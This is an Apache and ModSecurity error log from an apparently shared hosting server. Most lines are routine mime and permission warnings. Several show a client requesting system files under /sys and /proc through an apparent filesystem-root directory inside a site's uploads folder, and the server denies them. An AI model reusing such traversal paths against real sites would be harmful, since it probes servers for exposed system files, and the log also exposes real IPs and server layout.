[Fri Jul 17 08:15:32.281524 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:32.281653 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:32.760521 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:33.033976 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:33.193921 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:33.694159 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:33.892597 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXTV2NhE8i6ppze4erggAAAAs"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:15:33.893327 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXTV2NhE8i6ppze4erggAAAAs"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:15:34.512698 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.512783 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.512851 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.512883 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.512914 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.512947 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513020 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513058 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513085 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513110 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513201 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513303 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513321 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513340 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513360 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513379 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513399 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513415 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513514 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513537 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513557 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513574 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513607 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513638 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.513669 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.515081 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libconfuse/html/"] [unique_id "almXTjRCJXF37-WnVv0gTAAAABI"]
[Fri Jul 17 08:15:34.515122 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libconfuse/html/"] [unique_id "almXTjRCJXF37-WnVv0gTAAAABI"]
[Fri Jul 17 08:15:34.588556 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/remove
[Fri Jul 17 08:15:34.605912 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.618059 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty39/subsystem/ttyS2/close_delay
[Fri Jul 17 08:15:34.703828 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.901742 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:34.979348 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.184754 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.253137 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.343610 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/tty16/uevent"] [unique_id "almXTwG5-NXx3Mem1QgL-wAAAA8"]
[Fri Jul 17 08:15:35.343657 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/tty16/uevent"] [unique_id "almXTwG5-NXx3Mem1QgL-wAAAA8"]
[Fri Jul 17 08:15:35.393333 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.411788 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 47.79.10.173:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:64/subsystem/input4/device/driver/bind
[Fri Jul 17 08:15:35.415188 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.507411 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.679073 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.684360 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.708995 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.764895 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.802745 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.916251 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.938564 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.961308 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.984663 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:35.984758 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:36.177840 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:36.356796 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:37.175092 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:37.447911 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:37.538712 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:38.926776 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:39.452151 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:39.542318 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:39.656156 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:39.659632 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:39.724725 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:40.066752 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:40.432090 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:40.456495 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:40.799494 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:40.908938 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:41.090655 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:41.181555 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/machinecheck/uevent
[Fri Jul 17 08:15:41.518528 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:41.635822 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:41.909177 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:42.092431 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:42.275524 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:42.547701 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/physical_node/subsystem/rescan
[Fri Jul 17 08:15:42.819718 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/acpi/uevent
[Fri Jul 17 08:15:43.002559 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:07/physical_node/remove
[Fri Jul 17 08:15:43.207012 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:43.368549 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:43.912391 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:45.315641 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:45.325995 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:45.331949 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:45.447714 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:35626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:46.061172 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061262 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061301 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061336 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061371 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061404 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061496 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061536 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061572 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061598 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061681 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061784 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061813 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061837 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061858 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061878 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061896 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.061916 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062020 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062060 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062090 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062113 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062148 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062181 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.062214 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:46.157208 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:35700] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:52.537552 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:52.828481 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:53.494681 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almXYTiSeFVxYLkcq6IbaAAAAAc"]
[Fri Jul 17 08:15:53.495185 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almXYTiSeFVxYLkcq6IbaAAAAAc"]
[Fri Jul 17 08:15:53.495615 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almXYTiSeFVxYLkcq6IbaAAAAAc"]
[Fri Jul 17 08:15:53.498673 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:53.600673 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:53.629023 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/drivers/button/bind
[Fri Jul 17 08:15:53.872245 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:54.150798 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:54.342952 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:54.526745 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:54.615650 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:54.707943 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:55.165074 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty29/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:15:55.390003 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:55.438673 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:55.751679 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:55.988452 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:57.710752 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:58.264763 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:58.446353 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:58.628400 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:59.265283 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:59.298507 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXZ4ha5y5fYnQ1qRrtaAAAAAE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:15:59.298567 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXZ4ha5y5fYnQ1qRrtaAAAAAE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:15:59.448699 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:59.902129 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:00.084134 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:00.237592 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:00.630734 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:00.722120 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:00.925725 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:01.287233 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:01.544580 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:01.791675 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:01.792213 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:01.909141 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:02.647088 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:39676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:03.136988 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:03.182983 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:03.319254 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:03.433224 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:03.911910 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:04.001236 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:04.165318 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almXa41dLClkUfK_dfHfJgAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1091&page_105=1230
[Fri Jul 17 08:16:04.165350 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almXa41dLClkUfK_dfHfJgAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1091&page_105=1230
[Fri Jul 17 08:16:04.182719 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:04.432737 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:04.455630 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:04.639542 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:05.699467 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:05.821783 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
